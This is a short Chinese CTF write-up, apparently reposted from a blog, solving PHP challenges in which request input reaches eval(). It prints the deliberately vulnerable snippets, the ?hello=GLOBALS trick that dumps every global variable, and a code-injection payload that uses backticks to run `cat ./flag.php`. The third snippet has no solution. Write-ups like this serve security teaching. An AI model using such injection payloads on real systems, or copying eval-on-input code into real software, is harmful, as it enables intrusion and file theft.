CTF之文件包含的猥琐思路

From: i春秋 百度杯”CTF

一:

<?php include "flag.php"; //包含flag.php这个文件 
$a = @$_REQUEST['hello']; //$a这个变量请求变量hello的值 
if(!preg_match('/^w*$/',$a )){ //正则表达式,匹配字符串,w表示字符+数字+下划线,*代表有若干个w字符组成。 
  die('ERROR');//不匹配则输出ERROR } 
  eval("var_dump($$a);"); //如果匹配输出$$a的值 
  show_source(__FILE__);
 ?>

PHP一个比较有意思的变量!$GLOBALS:一个包含了全部变量的全局组合数组。变量的名字就是数组的键。于是我们在url上构造/?hello=GLOBALS,结果就直接出来了!根本不是爆破好吧!

答案:/?hello=GLOBALS

二:

<?php
include "flag.php";
$a = @$_REQUEST['hello'];
eval( "var_dump($a);");
show_source(__FILE__);

反引号位 (`) 是可以执行命令的

答案:?hello=);echo%20`cat%20./flag.php`;//

三:

<?php 
    include "flag.php"; 
    $a = @$_REQUEST['hello']; 
    eval( "var_dump($a);"); 
    show_source(__FILE__); 
?> 
原文地址:https://www.cnblogs.com/xishaonian/p/7648699.html